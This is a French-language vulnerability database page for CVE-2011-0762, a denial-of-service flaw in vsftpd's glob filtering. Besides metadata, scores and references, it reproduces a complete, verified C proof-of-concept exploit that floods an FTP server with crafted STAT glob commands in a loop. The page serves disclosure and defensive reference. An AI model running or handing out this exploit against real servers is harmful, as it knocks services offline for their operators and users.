CVE-2011-0762 : Détail

CVE-2011-0762

25.27%V3
Network
2011-03-02
18h00 +00:00
2021-02-19
03h06 +00:00
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Descriptions du CVE

The vsf_filename_passes_filter function in ls.c in vsftpd before 2.3.3 allows remote authenticated users to cause a denial of service (CPU consumption and process slot exhaustion) via crafted glob expressions in STAT commands in multiple FTP sessions, a different vulnerability than CVE-2010-2632.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4 AV:N/AC:L/Au:S/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16270

Date de publication : 2011-03-01 23h00 +00:00
Auteur : Maksymilian Arciemowicz
EDB Vérifié : Yes

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> /* This is code of http://cxib.net/stuff/vspoc232.c PoC CVE-2011-0762 ( vsftpd ) Remote Denial of Service Affected: 2.3.2 Fix: 2.3.4 Author: Maksymilian Arciemowicz Use: ./vspoc232 127.0.0.1 21 user pass 1 or read http://securityreason.com/achievement_securityalert/95 for more information Example result: cx@cx64:~$ telnet 172.5.0.129 21 Trying 172.5.0.129... Connected to 172.5.0.129. Escape character is '^]'. 500 OOPS: fork Connection closed by foreign host. */ int skip=0; int sendftp(int stream,char *what){ if(-1==send(stream,what,strlen(what),0)) printf("Can't send %s\n",what); else printf("send: %s\n",what); bzero(what,sizeof(what)); } void readftp(int stream){ char readline[4096]; if(recv(stream,readline,4096,0)<1) if(!skip) exit(1); // end else printf("recv: %s\n",readline); } int sendstat(host,port,login,pass) char *host,*port,*login,*pass; { char buffer[4097]; // send ftp command buffor int sockfd,n,error; struct addrinfo hints; struct addrinfo *res, *res0; memset(&hints, 0, sizeof(hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; error = getaddrinfo(host,port,&hints,&res0); if (error){ errorcon: printf("Can`t connect\n.exit"); exit(1); } if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon; if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon; readftp(sockfd); snprintf(buffer,4096,"USER %s\nPASS %s\n\n",login,pass); sendftp(sockfd,buffer); readftp(sockfd); snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n"); sendftp(sockfd,buffer); freeaddrinfo(res0); } int main(int argc,char *argv[]) { char *login,*pass,logindef[]="anonymous",passdef[]="[email protected]"; if(argc<3){ printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n"); exit(1); } char *host=argv[1]; char *port=argv[2]; if(4<=argc) login=argv[3]; else login=logindef; if(5<=argc) pass=argv[4]; else pass=passdef; if(6<=argc) skip=1; while(1){ printf("----------------------------- next\n"); sendstat(host,port,login,pass); sleep(1); // some delay to be sure } return 0; // never happen }

Products Mentioned

Configuraton 0

Vsftpd_project>>Vsftpd >> Version To (excluding) 2.3.3

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 9.10

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 10.10

Configuraton 0

Fedoraproject>>Fedora >> Version 13

Fedoraproject>>Fedora >> Version 14

Fedoraproject>>Fedora >> Version 15

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Opensuse>>Opensuse >> Version 11.2

Opensuse>>Opensuse >> Version 11.3

Opensuse>>Opensuse >> Version 11.4

Suse>>Linux_enterprise_server >> Version 9

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

Références

http://marc.info/?l=bugtraq&m=133226187115472&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=133226187115472&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.vupen.com/english/advisories/2011/0639
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2011/0668
Tags : vdb-entry, x_refsource_VUPEN
http://www.debian.org/security/2011/dsa-2305
Tags : vendor-advisory, x_refsource_DEBIAN
http://securityreason.com/securityalert/8109
Tags : third-party-advisory, x_refsource_SREASON
http://www.vupen.com/english/advisories/2011/0547
Tags : vdb-entry, x_refsource_VUPEN
http://www.exploit-db.com/exploits/16270
Tags : exploit, x_refsource_EXPLOIT-DB
http://cxib.net/stuff/vspoc232.c
Tags : x_refsource_MISC
http://www.mandriva.com/security/advisories?name=MDVSA-2011:049
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2011/0713
Tags : vdb-entry, x_refsource_VUPEN
http://www.ubuntu.com/usn/USN-1098-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.kb.cert.org/vuls/id/590604
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securitytracker.com/id?1025186
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/46617
Tags : vdb-entry, x_refsource_BID
http://securityreason.com/achievement_securityalert/95
Tags : third-party-advisory, x_refsource_SREASONRES
http://www.redhat.com/support/errata/RHSA-2011-0337.html
Tags : vendor-advisory, x_refsource_REDHAT
http://jvn.jp/en/jp/JVN37417423/index.html
Tags : third-party-advisory, x_refsource_JVN